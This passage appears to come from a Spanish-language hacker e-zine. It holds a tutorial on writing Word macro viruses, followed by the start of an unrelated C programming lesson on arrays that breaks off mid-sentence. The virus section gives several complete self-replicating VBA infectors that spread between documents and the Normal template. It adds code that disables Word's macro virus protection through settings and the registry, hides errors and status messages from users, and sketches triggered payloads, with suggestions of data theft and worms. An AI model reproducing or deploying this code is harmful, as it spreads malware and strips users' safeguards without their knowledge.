  Entonces,  este  consiste  en copiar el modulo de la 
plantilla normal al 
  documento y viceversa cuando no se este  infectado. Veamos el 
codigo del 
  virus de modulo mas sencillo posible. 

  
'Ejemplo de virus macro de Word #1 - Infeccion 
por Modulos LiteSys '

Sub AutoOpen() 
On Error Resume Next 
For A = 1 To ActiveDocument.VBProject.VBComponents.Count 
If 
(ActiveDocument.VBProject.VBComponents(A).Name = "Virus") Then Doc = True 
Next 
For A = 1 To NormalTemplate.VBProject.VBComponents.Count 
If 
(NormalTemplate.VBProject.VBComponents(A).Name = "Virus") Then Nor = True 
Next 
If (Doc <> True) Then NormalTemplate.VBProject.VBComponents("Virus").Export 
("C:\virus.sys") 
ActiveDocument.VBProject.VBComponents.Import ("C:\virus.sys") 
Kill ("C:\virus.sys") 
End If 
If (Nor <> True) Then 

ActiveDocument.VBProject.VBComponents("Virus").Export ("C:\virus.sys") 
NormalTemplate.VBProject.VBComponents.Import ("C:\virus.sys") 
Kill 
("C:\virus.sys") End If 
End Sub 


  Oh, eso fue 
demasiado...  
 

'Ejemplo de virus macro de Word 
LiteSys'

Sub AutoOpen() On Error Resume Next

  Aqui  empieza  el  codigo, como  dije anteriormente, con AutoOpen(). El
  codigo  de  la  
cuarta linea se coloca para que VBA no reporte errores, 
  asi evitar "sospechas" 
del usuario. 
  

For A = 1 To 
ActiveDocument.VBProject.VBComponents.Count 
If 
(ActiveDocument.VBProject.VBComponents(A).Name = "Virus") Then Doc = True 
Next 


  Se hace un ciclo desde el primero  hasta  el ultimo de  los  modulos de
  codigo del documento activo. ActiveDocument = Documento Activo. 

  VBProject = El "proyecto" correspondiente  a VBA. VBComponents = Objeto 
  referente  a  todos  los  modulos.  Count = Cantidad de modulos. En  la 
  segunda linea 
si el nombre del modulo correspondiente al momento actual
  del  ciclo  se llama 
"Virus"  coloca  la  variable  booleana "Doc" como
  verdadera. Entonces, lo que hace 
esta parte  del  codigo  es revisar si
  existe  el  modulo "Virus"  en  el documento, es 
decir, si el documento
  esta infectado. 


For A = 
1 To NormalTemplate.VBProject.VBComponents.Count 
If 
(NormalTemplate.VBProject.VBComponents(A).Name = "Virus") Then Nor = True
Next 


  Esta parte de codigo hace lo mismo que el 
anterior pero con la plantilla
  normal, para revisar si la misma esta infectada. 

  Notese  que  "NormalTemplate"  se  refiere  a la plantilla normal. En la 
  segunda  
linea si existe el modulo coloca  la  variable  booleana  "Nor" 
  como verdadera. 


If (Doc <> True) Then 
NormalTemplate.VBProject.VBComponents("Virus").Export ("C:\virus.sys") 
ActiveDocument.VBProject.VBComponents.Import ("C:\virus.sys") 
Kill 
("C:\virus.sys") End If 


  El  codigo  anterior  se 
ejecuta si la variable  booleana  "Doc"  no es
  verdadera, es  decir, si  es  falsa, lo 
cual significa que el documento
  activo  no esta infectado. En ese caso, se 
exporta el modulo "Virus" de 
  la plantilla  Normal  al archivo C:\virus.sys, y en 
la tercera linea se 
  importa desde el documento activo desde ese mismo archivo. 

  Por ultimo se borra el archivo C:\virus.sys pues no es necesario. 


If (Nor <> True) Then 
ActiveDocument.VBProject.VBComponents("Virus").Export ("C:\virus.sys") 
NormalTemplate.VBProject.VBComponents.Import ("C:\virus.sys") 
Kill 
("C:\virus.sys") 
End If 
End Sub 


  Totalmente 
similar al anterior, pero sucede si  la plantilla  normal no
  esta  infectada, por  
lo  cual  se  exportara  el  modulo  "Virus"  del 
  documento  activo  al  archivo 
 C:\virus.sys  y  se  importara desde la 
  plantilla normal. Por ultimo se borra el 
archivo C:\virus.sys y termina
  el virus. Por supuesto que este  codigo puede ser 
mucho mas optimizado, 
  como por ejemplo en este codigo: 


'Ejemplo de virus macro de Word #2 - Infeccion 
por Modulos 'LiteSys 

Sub AutoOpen() 
On Error Resume 
Next 
VBE.ActiveVBProject.VBComponents("Virus").Export "C:\virus.sys" 
For A = 1 To 
ActiveDocument.VBProject.VBComponents.Count 
If 
(ActiveDocument.VBProject.VBComponents(A).Name = "Virus") Then Doc = True 
Next 
For A = 1 To NormalTemplate.VBProject.VBComponents.Count 
If 
(NormalTemplate.VBProject.VBComponents(A).Name = "Virus") Then Nor = True 
Next 
If (Doc <> True) Then ActiveDocument.VBProject.VBComponents.Import 
("C:\virus.sys") 
End If 
If (Nor <> True) Then 
NormalTemplate.VBProject.VBComponents.Import ("C:\virus.sys") 
End If 
Kill 
("C:\virus.sys") End Sub 


  Este  funciona de una 
manera totalmente  similar  solamente que esta un
  poco  mas  optimizado, solamente  
voy  a  explicar  una parte de codigo 
  porque creo que lo demas habla por si solo. 
  

VBE.ActiveVBProject.VBComponents("Virus").Export "C:\virus.sys" 

  
  Este es el objeto ActiveVBProject, se refiere 
al Proyecto VBA del cual 
  se este ejecutando codigo en el momento, por lo cual 
puede ser tanto el
  de la plantilla normal como el del documento activo. Ahora 
bien, existe
  tambien  la  posibilidad  de  "Setear"  los  objetos para dificultar la 
  deteccion del virus por parte de los detectores  antivirus heuristicos, 
  ahorrarnos codigo y darle al virus  una apariencia  mas  "profesional", 
  como va con 
el siguiente virus, que es el mismo anterior. 


'Ejemplo de virus macro de Word #3 - Infeccion por Modulos 'LiteSys 

Sub 
AutoOpen() 
On Error Resume 
Next 
Set ProyActivo = 
VBE.ActiveVBProject.VBComponents 
Set DocActivo = 
ActiveDocument.VBProject.VBComponents 
Set PlaNormal = 
NormalTemplate.VBProject.VBComponents 
Archivo = "C:\virus.sys" 
ProyActivo("Virus").Export (Archivo) 
For A = 1 To DocActivo.Count 
If 
(DocActivo(A).Name = "Virus") Then 
Doc = True Next For A = 1 To PlaNormal.Count 
If (PlaNormal(A).Name = "Virus") Then Nor = True 
Next 
If (Doc <> True) Then 
DocActivo.Import (Archivo) End If If (Nor <> True) Then PlaNormal.Import 
(Archivo) 
End If 
Kill (Archivo) 
End Sub 



  Explicare un poco (solo un poco, porque habla por si solo) este codigo.
  

Set ProyActivo = 
VBE.ActiveVBProject.VBComponents 
Set DocActivo = 
ActiveDocument.VBProject.VBComponents 
Set PlaNormal = 
NormalTemplate.VBProject.VBComponents 
Archivo = "C:\virus.sys" 


  Aqui   hacemos   el   "Seteo",  por  lo  cual  
 ProyActivo   apunta  al 
  ActiveVBProject, DocActivo apunta al VBProject  del 
documento  activo y
  PlaNormal  apunta  al  VBProject de la plantilla normal, asi  que 
todas 
  las referencias  que  van  despues  se  dan  a  estos  en vez  de darse 
  
directamente al objeto. La cuarta linea hace algo parecido pero  con un
  string, 
me  refiero  al  archivo  de  exportacion  de  los modulos, asi 
  tambien ahorramos un 
poco de codigo. 



  METODO DE INFECCION POR CLASS OBJECT O THISDOCUMENT
  ---------------------------------------------------

  Si  mas  de  uno se habra 
fijado existe un objeto tanto en la plantilla
  normal  como  en  el  documento 
 llamado ThisDocument. Este es el Class 
  Object, un objeto en el cual podemos 
colocar codigo de igual manera que
  podemos con modulos, por lo cual  abre  las  
puertas  a  otro metodo de
  infeccion y la ventaja de que las macros en este no  se 
 muestran en la
  lista  de  macros  al  presionar  ALT-F8. El  metodo  fue inventado por 
  
VicodinES, miembro del grupo CodeBreakers y The Narcotic Network. 
  
  Anteriormente 
 se  pensaba  que  este  metodo no era lo suficientemente 
  eficiente debido a que si 
existen dos subrutinas  o  funciones de igual 
  nombre, una en el documento activo y 
la otra en la plantilla normal, el
  codigo no correra por lo que habia que 
utilizar  el  metodo ReplaceLine 
  del CodeModule para cambiarle el nombre a la 
subrutina  o funcion, algo 
  muy engorroso. Pero la solucion fue mas tonta de lo 
que  se pensaba, en 
  vez de la sintaxis comun de: Sub Yuca() End Sub -o- Function  
Loca() as 
  String End Function Debemos colocarla  de  la  siguiente forma: Private 
  Sub Yuca() End Sub -o- Private Function Loca()  as  String End Function 
  
  Otra  cosa 
 que  hay que tener en cuenta, en este metodo  de  infeccion 
  debemos utilizar los 
hooks Document_Open() o Document_Close() en vez de
  AutoOpen() o AutoClose(). 

  Ahora bien, escribir  un virus para este es algo parecido, con  algunas
  variaciones. Como veremos en el codigo, entra en juego un nuevo objeto:
  El 
CodeModule, pero  antes  de  entrar  con  esto, es  mejor mostrar un 
  codigo.
  

'Ejemplo de virus macro de Word #4 - Infeccion 
por '

Class Object Private 
Sub Document_Open() 
On Error Resume 
Next 
If 
(ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then 
NormalTemplate.VBProject.VBComponents(1).Export ("C:\virus.sys") 
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:\virus.sys") 
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4 
End If 
If 
(NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then 
ActiveDocument.VBProject.VBComponents(1).Export ("C:\virus.sys") 
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:\virus.sys") 
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4 
End If 
Kill 
("C:\virus.sys") 
End Sub 


  Como  podemos  
apreciar,  la cantidad de codigo utilizado  aqui es mucho
  menor,  incluso  si  
"Seteamos" los  objetos  ahorraremos  una  cantidad 
  magnifica de codigo, aunque creo 
que se me olvida explicar el codigo... 


If 
(ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then 
NormalTemplate.VBProject.VBComponents(1).Export ("C:\virus.sys") 
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:\virus.sys") 
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4 
End If 


  Este codigo se ejecuta con la condicion de que 
la cantidad  de lineas en 
  el Class  Object  del  documento  activo  sea  igual a cero 
(tengamos en 
  cuenta  que  el Class  Object  siempre  es  el  primer  VBComponent  del 
  
proyecto), este  metodo  no  me  convence  porque puede que en ese Class 
  Object 
 exista  otro  codigo  y simplemente no se reproduzca, por lo que 
  luego colocare 
otro codigo. Siguiendo con el codigo, en la segunda linea
  se exporta el codigo 
desde la  plantilla  normal  a  C:\virus.sys. En la 
  tercera  linea  se  importa el 
codigo desde C:\virus.sys al Class Object 
  del  documento  activo,  este  metodo  
tampoco  me  convence  por lo que 
  colocare luego otro codigo. La cuarta linea 
elimina las primeras  cuatro 
  lineas, por que? porque cuando se importa  se a~aden 
cuatro  lineas  que 
  provocarian un error: 


VERSION 1.0 CLASS BEGIN MultiUse = -1 'True End 


  Por eso los eliminamos. Siguiendo con el 
codigo... 


If (NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines = 0) Then 
ActiveDocument.VBProject.VBComponents(1).Export ("C:\virus.sys") 
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromFile ("C:\virus.sys") 
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, 4 
End If 


  Esto  hace  totalmente  LO MISMO  que  el anterior 
pero con la plantilla 
  normal, no creo que sea necesario explicarlo ya que 
funciona  totalmente
  igual. Como decia anteriormente, los metodos del virus  
anterior  no  me
  convencen  del  todo y creo que pueden dificultar  la  reproduccion 
 del 
  virus, por  lo  cual  colocare uno que en realidad  yo  pienso  funciona 
  mejor. 


'Coder 'Ejemplo de virus macro de Word #5 - Infeccion por 

Class Object Private 
Sub Document_Open() 
If 
(ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> "'Coder") 
Then Twinkie = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines 
Yuppie = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, Twinkie) 
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString Yuppie 
End If 
If (NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> "'Coder") Then 
Twinkie = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines 
Yuppie = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, Twinkie) 
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString Yuppie 
End If 
End Sub 


  Finalmente he aqui los metodos que me 
gusta utilizar en mis virus macro. 
  Mas rapido, y si cuentas el numero de lineas 
es el mismo.. y tambien se 
  puede optimizar mucho el codigo, como  hare  en  el  
proximo  virus que 
  colocare... Puede que resulte un poco  dificil  de  entender  
porque no 
  existen optimizaciones de tipo Set y  cosas  asi, pero lo mejor de este 
  
metodo es su rapidez ya que no tienes que manipular ningun archivo. 
  
  Explicare el 
codigo parte por parte para asi entenderlo todos. 


'Coder 


  'Coder es nuestra "Marca de Infeccion", la utilizamos  para saber  si el 
  virus 
existe en la plantilla normal o el documento activo, por  lo  cual
  tenemos mejores 
posibilidades de infectar, entonces,  siguiendo  con  el
  codigo veras como 
utilizamos dicha marca de infeccion. 


If 
(ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> "'Coder") 
Then 
Twinkie = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines 
Yuppie = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, Twinkie) 
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString Yuppie 
End If 


  El codigo anterior se ejecuta si en el class 
object del documento activo 
  su primera linea no es igual a "'Coder", nuestra marca  de infeccion. En 
  la segunda linea podemos apreciar que la variable Twinkie  
es igual a el 
  numero de lineas del class object de la plantilla normal. En  la 
tercera 
  linea la variable Yuppie es igual a todo el codigo  del  class object de 
  la plantilla normal desde la primera  linea  hasta  Twinkie, por lo cual 
  Yuppie 
representa todo el codigo del  class object  de la plantilla. Por 
  ultimo  en la 
cuarta linea importamos el codigo desde  Yuppie  hasta  el 
  class object del 
documento activo, como dije anteriormente, sin utilizar
  archivos!  mas rapido, 
por supuesto. Ahora vayamos a otro codigo, que es 
  el mismo anterior pero un poco 
mejor optimizado. 


'Virus 
Private Sub 
Document_Open() 
On Error Resume 
Next 
Set Doc = 
ActiveDocument.VBProject.VBComponents(1).CodeModule 
Set Pla = 
NormalTemplate.VBProject.VBComponents(1).CodeModule 
Set Yop = 
VBE.ActiveVBProject.VBComponents(1).CodeModule 
Codigo  = Yop.Lines(1, 
Yop.CountOfLines) 
If (Doc.Lines(1, 1) <> "'Virus") Then 
Doc.AddFromString Codigo 
If (Pla.Lines(1, 1) <> "'Virus") Then 
Pla.AddFromString Codigo 
End Sub 



  Me creas o no eso es todo un virus. Como veras la marca  de infeccion es 
  "Virus"   y   a   mi  propio  juicio  creo  que  lo  optimice  bien. 
Las 
  explicaciones van, aunque no creo que sean muy necesarias eh? =P. 


Set Doc = 
ActiveDocument.VBProject.VBComponents(1).CodeModule 
Set Pla = 
NormalTemplate.VBProject.VBComponents(1).CodeModule 
Set Yop = 
VBE.ActiveVBProject.VBComponents(1).CodeModule 
Codigo = Yop.Lines(1, 
Yop.CountOfLines) 


  Colocamos  a  Doc igual al 
modulo codigo del class object  del documento 
  activo. Pla es igual al modulo 
codigo del class object  de  la plantilla 
  normal. Yop  es  igual  al  modulo  codigo 
del class object del proyecto 
  activo. 
  
  Y Codigo es igual a todo el codigo del 
class object del proyecto activo. 


If 
(Doc.Lines(1, 1) <> "'Virus") Then 
Doc.AddFromString Codigo 
If (Pla.Lines(1, 1) <> "'Virus") Then 
Pla.AddFromString Codigo 


  Revisamos  si  la  primera linea del documento activo es igual a nuestra
  marca de 
infeccion, si  no  lo  es importamos desde la variable "Codigo" 
  anteriormente 
declarada. Luego  hace  lo  mismo con la plantilla Normal. 
  
  Existe  otro  metodo  para 
revisar si el documento activo o la plantilla 
  normal estan infectados, que  
consiste  en  cambiarle el nombre al Class 
  Object y utilizar dicho nombre como 
marca  de infeccion, esto  se  logra
  a traves de la propiedad "Name", la cual se 
encuentra en: 

ActiveDocument.VBProject.VBComponents(1).Name 
NormalTemplate.VBProject.VBComponents(1).Name 


  Esta propiedad es totalmente 
modificable y como dije anteriormente puede
  ser usada tambien como marca de 
infeccion. Bien, creo que  ha  sido todo 
  por parte de la infeccion a traves del 
Class Object. 



  ALGUNAS COSAS QUE COLOCARLE A LOS VIRUS
  ---------------------------------------
  
  Siempre  ha  resultado  buena  la  idea  de  
guardar el documento activo 
  despues de infectar, de manera que asi  se guarden  
los  documentos  que 
  solo son abiertos para "ser vistos". 

  *** NOTA: No vayas a 
colocar esta linea de codigo cuando implementes en 
            tu virus tecnicas como 
polimorfismo o encriptamiento, por que
	    (por lo menos en el pote de maquina ese 
que tengo yo) el Word
	    provoca un error... El codigo es simple, solo tienes que 
	    
colocar despues de la infeccion lo siguiente: 


ActiveDocument.SaveAs ActiveDocument.FullName 


  Una  buena idea de stealth es eliminar la  proteccion de virus, esto lo
  podemos 
hacer sencillamente colocando el codigo: 


Options.VirusProtection = False 


  Este codigo 
solamente funciona con la version '97, pero la  2000 tenemos 
  que hacer otras 
cosas, editar en el registro de sistema, lo cual podemos
  lograr a traves de: 


System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security","Level") = "1"


  Otra  cosa  conveniente  para 
 hacer  es  controlar  los errores, cuando 
  termines de escribir tu virus nunca 
 olvides  esto, si  no  quieres  que
  tu usuario se de cuenta: 


On Error Resume Next 


  Otro buen codigo stealth es el eliminar la 
barra de estado, pues en esta 
  muestra  cuando se esta guardando el documento, 
cosa que no queremos que 
  el usuario vea, por lo cual simplemente: 


Application.DisplayStatusBar = False 

      
  Como  se  me  pueden  olvidar  los famosisimos 
Stealth Hooks? pues, como 
  viste una de las subrutinas mostradas anteriormente, 
podemos utilizarlas
  para que cuando el usuario pida  la lista de macros o corra 
el editor de 
  visual basic simplemente no haga nada. 


  *** NOTA: Esto no funciona 
en  el  modo "Private" de la Class Infection, 
            por  lo  cual  tenemos si lo queremos 
usar en un Class debemos
	    utilizar el metodo ReplaceLine. 


Sub ViewVBCode() 
End Sub 
Sub ToolsMacro() 
Enb Sub 


  Existen otras tecnicas de stealth mucho 
mas avanzadas, por ejemplo la de 
  eliminar  el codigo mientras el dialogo de 
macros este activo, pero creo 
  que esto es una guia introductoria no mas. 


  PAYLOAD
  -------

  Otro codigo que nunca dejamos dejar pasar es el payload! el payload no
  es  mas  que la  manifestacion  de la existencia del virus para con el
  usuario del 
virus, como dije  anteriormente  no voy a colocar payloads 
  destructivos, solamente 
 una  introduccion... lo  demas  veran como lo 
  colocan ustedes. Para hacer que el 
payload se ejecute en un dia, fecha, 
  a~o u hora determinados tenemos varias 
funciones: 

  Day(Now)     : Devuelve el dia actual.
  WeekDay(Now) : Devuelve el dia de 
la semana actual.
  Month(Now)   : Devuelve el mes actual.
  Hour(Now)    : Devuelve la 
hora actual.
  Minute(Now)  : Devuelve el minuto de la hora actual. 
  Year(Now)    : 
Devuelve el a~o actual.

  Existen  muchas  posibilidades para tus payloads, puedo 
mencionar varias
  ideas: 

  - Cajitas de Mensaje 
  - Contenido del Documento 
  - Nombre del usuario registrado 
  - Asistente de Word (ese maldito clip que aparece ahi) 
  - El registro del sistema (puedes cambiar TODO en windoze!) 
  - Wallpapers! 
  - Robo 
de informacion 
  - Ataques DoS a websites fascistas y/o  estupidos (onda 
 planetachurbe o 
    loquemierda) - Y muchas cosas mas! las posibilidades son 
muchas... 


  
  -- Cajitas de Mensaje -- 
  Tomemos un ejemplo que el dia 15 de cada mes 
muestre una caja de mensaje 
  diciendo "Hola, soy tu nuevo amigo" 
con:

If ( Day(Now) = 15 ) Then MsgBox "Hola, soy tu 
nuevo amigo" 
End If 


  -- Contenido del Documento 
-- 
  Que tal  si  a  las ocho de la noche coloque al final del  documento un 
  texto? 

If (Hour(Now) = 8) Then 
ActiveDocument.Content 
= ActiveDocument.Content + "Apaga el computador y vete a la cama!" 
End If 


  -- Nombre del Usuario Registrado -- 
  Como 
quedaria  si  cada  Martes  13  cambiamos  el  nombre  del  usuario 
  registrado en Office? 

If (WeekDay(Now) = 3) And (Day(Now) = 13) Then 
Application.UserName = "TE VERE EN EL INFIERNO" 
End If 


  Sin tampoco dejar de mencionar otros  Add-Ons  
que le  podemos colocar a 
  tu virus para hacerlo mas interesante, menos detectable 
y mas potente: 

  - Encriptacion 
  - Polimorfismo 
  - Stealth Avanzado 
  - Infeccion a otros miembros de la familia office (Cross-Infection) 
  - Hacer un dropper para 
colocar otro virus en el sistema 
  - Worms (IRC, E-Mail, etc...) 
  - Muchas cosas 
mas! 



  OUTRO
  ------
  Creo  que  este  texto  ha finalizado, puede  que escriba otra parte 
con 
  contenidos mas avanzados, puede  que  no.. bueno, me  despido  de  todos 
  ustedes 
y espero que este peque~o documento no les haya ayudado en nada. 
  
  Si desean 
contactarme para cualquier cosa seria (no para mariquerias, no 
  tengo tiempo para 
leer y mucho menos contestar) pueden llegar por ahi en 
  el irc en undernet o en 
dalnet o a traves de mi mail: liteno2@softhome.net 

  Sin nada mas que decir... 
  LiteSys. Venezuela - (c) 2001 Mara~eros, C.A. 

--EOF--

-[ 3x04.txt ]----------------------------------------------------------------
-[ Como programar en C en muchos pasos (III)]-------------------[ El_Max_5 ]-
--------------------------------------------------------[ maxz-5@cantv.net ]-

  Indice:
  ~~~~~~~
  1. Arreglos.
  2. Arreglos de Caracteres.
  3. Arreglos multidimensionales.
  4. Estructuras.
  5. Arreglos y estructuras.
     a. Arreglos de estructuras
     b. Estructuras con arreglos como miembros.
  6. Uniones



  1. Arreglos
     ~~~~~~~~

   En los arreglos se colocan variables del mismo tipo. Para declararlos se
   usa la sintaxis siguiente:

   int notas[100];

   Se declara asi  un  arreglo capaz de contener hasta 100 valores enteros.

   Si  el  arreglo notas  es  una  variable  global, todos los elementos se
   inicializan   en   0. Si  el  arreglo  es  local, sus  elementos  no  se
   inicializan.

   La sentencia:  Notas[5] = 89;

   Asigna el valor 89 al sexto elemento ya que los indices empiezan en 0.

   Los   indices  pueden  ser:  cualquier  expresion   entera,  constantes,
   variables, resultados de funcion, etc....


   Ejemplo:


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define TAMARRAY 100

void LlenaArray(void);
void MuestraArray(void);
void Quicksort(int left, int right);
void SortArray(int n);

int array[TAMARRAY];

main()
{
  LlenaArray();
  MuestraArray();
  SortArray(TAMARRAY);
  MuestraArray();
  return 0;
}

void LlenaArray(void)
{
  int i;

  srand((unsigned)time(NULL));
  for (i = 0; i < TAMARRAY; i++)
    array[i] = rand();
}

void MuestraArray(void)
{
  int i;

  puts("");
  for (i = 0; i < TAMARRAY; i++)
    printf("%8d", array[i]);
}

/* Algoritmo Quicksort segun C. A. R. Hoare */
void Quicksort(int left, int right)
{
  int i = left;
  int j = right;
  register int test = array[(left + right) / 2];
  int swap;

  do {
    while (array[i] < test) i++;
    while (test < array[j]) j--;
    if (i <= j) {
      swap = array[i];
      array[i] = array[j];
      array[j] = swap;
      i++;
      j--;
    }
  } while (i <= j);
  if (left < j) Quicksort(left, j);
  if (i < right) Quicksort(i, right);
}

void SortArray(int n)
{
  if (n > 1) Quicksort(0, n - 1);
}


  La funcion  srand()  de  stdlib.h suministra como semilla al generador de
  numeros aleatorios, la hora actual para asegurar de esta manera una
  secuencia de valores diferentes en cada ejecucion.

  En  la  libreria stdlib.h existe una funcion asort() que  se  ejecuta mas
  rapido probablemente y consume menos memoria que la de este ejemplo.

  Para inicializar un arreglo se usa:

  int numeros[10] = {0,1,2,3,4,5,6,7,8,9};

  o:

  int numeros[];

  for (i=0; i < 10; i++)
	numeros[i] = i;


  La declaracion:
  ---------------

  int numeros[] = {0,1,2,3,4,5,6,7,8,9};

  Deja al compilador la tarea de dimensionar el arreglo.

  Ejemplo:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void Inicializa(void);
long PidaNumLanz(void);
void LanzaDados(long numLanz);
void MuestraResultados(long numLanz);

#define MAX 13

double cuenta[MAX];
double prob[MAX] = {
  0.0, 0.0, 1.0 / 36, 1.0 / 18, 1.0 / 12, 1.0 / 9, 5.0 / 36,
  1.0 / 6, 5.0 / 36, 1.0 / 9, 1.0 / 12, 1.0 / 18, 1.0 / 36
};

main()
{
  long numLanz;

  printf("\nLanzamientos de Dados\n\n");
  numLanz = PidaNumLanz();
  if (numLanz > 0) {
    LanzaDados(numLanz);
    MuestraResultados(numLanz);
  }
  return 0;
}

long PidaNumLanz(void)
{
  char respuesta[128];

  printf("Cuantos lanzamientos ? ");
  gets(respuesta);
  return atol(respuesta);
}

void LanzaDados(long numLanz)
{
  long i;
  int k;

  randomize();
  for (i = 1; i <= numLanz; i++) {
    k = (1 + random(6)) + (1 + random(6));
    cuenta[k]++;
  }
}

void MuestraResultados(long numLanz)
{
  int i;

  printf("\nValor     Proba-    Calculado    Real \n");
  printf("Dados       bilidad       \n");
  printf("=======================================\n");
  for (i = 2; i < MAX; i++) {
    printf("%5d%10.3f%12.0f%10.0f\n",
      i, prob[i], prob[i] * numLanz, cuenta[i]);
  }
}


  Al   ejecutar   el  programa,  es  preferible  especificar  un  numero de
  lanzamientos entre 10000 y 50000, para asi obtener mejores resultados.

  Las  lineas  14, 15-18  declaran dos arreglos cuenta y prob capaces, cada
  uno, de almacenar 13 valores double.

  La  constante  simbolica  MAX  definida  en la linea 12 permite variar el
  limite  superior. En este caso, los dados suman entre 2 y 12, asi que los
  dos primeros elementos no se usan.

  Las  lineas  15-18 declaran el arreglo prob y lo inicializan con el valor
  correspondiente  a  la probabilidad de obtener todas las combinaciones de
  dos dados. Por ejemplo, para obtener el toal de 4 existen 3 combinaciones
  posibles de los  dos  dados, a saber, 3 + 1, 2 +2 y 1 + 3. Ya que existen
  36 (6 x 6) combinaciones  posibles, la probabilidad de obtener un 4 es de
  3/36. Las lineas 16-17  calculan  estas  probabilidades  cuyos valores se
  asignan  al  arreglo  prob. El subindice indica el valor de los datos, es
  asi que prob[4] contiene la probabilidad de obtener un 4.

  La funcion LanzaDados(), de las lineas 42-52, ejecuta la simulacion. Para
  obtener  un  resultado  diferente  por  cada  lanzamiento,  se utiliza la
  funcion randomize(), de  time.h, que  suministra una semilla al generador
  de  numeros  aleatorios. Es  equivalente a la funcion srand() del ejemplo
  anterior.

  En  la  linea 49 se usa la funcion random(N) que regresa al azar un valor
  entero positivo modulo N. Es decir que random(6) regresa al azar un valor
  entre 0 y 5. Al sumarle uno, se obtiene asi el valor que corresponde al
  lanzamiento de un dado.

  Las lineas 76-79 producen la tabla que el programa muestra en pantalla.

  Para saber que espacio de la memoria ocupa un arreglo se utiliza sizeof();
  sizeof(cualquierArreglo) devuelve  el  numero  de  bytes  ocupados por el
  arreglo en la memoria.

  Sizeof(cualquierArreglo[0]) devuelve el numero de bytes ocupados  por  un
  elemento del arreglo.

  Un error muy frecuente con los arreglos es asignar un valor a un elemento
  que no existe. Para evitarlo, es preferible usar el codigo siguiente:

  int cualquierArreglo[] = {0,1,2,3,4};
  #define MAX (sizeof(cualquierArreglo) / sizeof(cualquierArreglo[0])

  La  primera  linea  declara  un  arreglo  de tama~o  no especificado y lo
  inicializa. El  compilador, en  este  caso, asigna la cantidad de memoria
  exactamente necesaria para almacenar los valores. La segunda linea asigna
  a la constante simbolica MAX el numero de elementos del arreglo.

  Cuando  se  quiere  preservar  los  valores almacenados en el arreglo, se
  utiliza el modificador  const en la declaracion:

  const int cualquierArreglo[] = {0,1,2,3,4};

  Esta  declaracion  crea  un  arreglo  de cinco elementos. Al usar const se
  impide cualquier tentativa de modificacion de los valores de los elementos
  del arreglo a traves del codigo. Es asi que, en este caso:

  cualquierArreglo[4]++;


  2.- Arreglos de Caracteres
      ~~~~~~~~~~~~~~~~~~~~~~ 

  Las cadenas ce caracteres son arreglos. La declaracion:

  char nombre[128];

  Declara un arreglo nombre con espacio para 128 elementos del tipo char.

  Si c es una variable del tipo char, la sentencia:

  c = nombre[3];

  Asigna  a  c  el cuarto caracter de nombre. Para inicializar  una  cadena
  se usa:

  Char compositor[] = "El Max 5";

  Puesto que aqui tampoco se precisa la dimension del arreglo, en este caso,
  el compilador tambien asignara el espacio de memoria justo necesario para
  almacenar  el  valor, es  decir  14  bytes  ya que toda cadena siempre se
  termina por un byte invisible nulo (ASCII 0).

  Las declaraciones siguientes son equivalentes:

  char ABCs[] = "ABC";
  char ABCs[] = {'A','B','C',0};

  Tambien puede usarse:

  char autor[] = "Pablo Neruda";
  #define TAMAUTOR (sizeof(autor));

  En  este  caso  resulta  inutil  dividir  por sizeof(autor[0]) ya  que un
  elemento tipo char ocupa 1 byte.

  Como siempre puede usarse:

  char autor[128] = "Pablo Neruda";

  En  este  caso, los  bytes no ocupados se llenaran con 0 si el arreglo es
  global y con valores imprevisibles si el arreglo es local.

  Para  mostrar el contenido de un arreglo de caracteres es preferible usar
  puts()  de stdio.h, ya que printf() se reserva a menudo para resolver los
  problemas complejos de formateo:

  char instituto[] = "IUT VALENCIA";
  printf(instituto);

  char procesador[] = "80486";
  puts(procesador);

  puts()  empieza  en  una  linea nueva. Para no hacerlo, se usa cputs() de
  conio.h:

  cputs("Me gustaria que mi PC tenga un ");
  cputs(procesador);
  puts(" como CPU");

  Aun cuando lo anterior podria codificarse:

  printf("Me gustaria que mi PC tenga un %s como CPU\n",procesador);

  Los  arreglos  de  caracteres  pueden  pasarse  a los parametros  de  las
  funciones  e  inversamente  las  funciones  pueden  devolver  arreglos de
  caracteres a las sentencias. Es asi, que puede  escribirse  la  siguiente
  funcion MuestraCadena():

  void MuestraCadena(char string[])
  {
    printf(string);
  }

  Para  luego  declarar  una variable de cadena en cualquier otra parte del
  programa, y pasarla a la funcion:

  char titulo[] = "Alicia en el pais de las maravillas";
  MuestraCadena(titulo);

  Sin  embargo, la  cadena de caracteres titulo no pasa a  MuestraCadena( )
  directamente en la pila. En efecto, en  un  programa  largo,  con  muchas
  funciones y parametros de cadenas, pasar  una gran cantidad de datos a la
  pila, tipicamente limitada a 64 K, provocaria una sobrecarga de esta. Por
  esta razon, el  Turbo C  pasa  la  direccion  de  las  cadenas y de otros
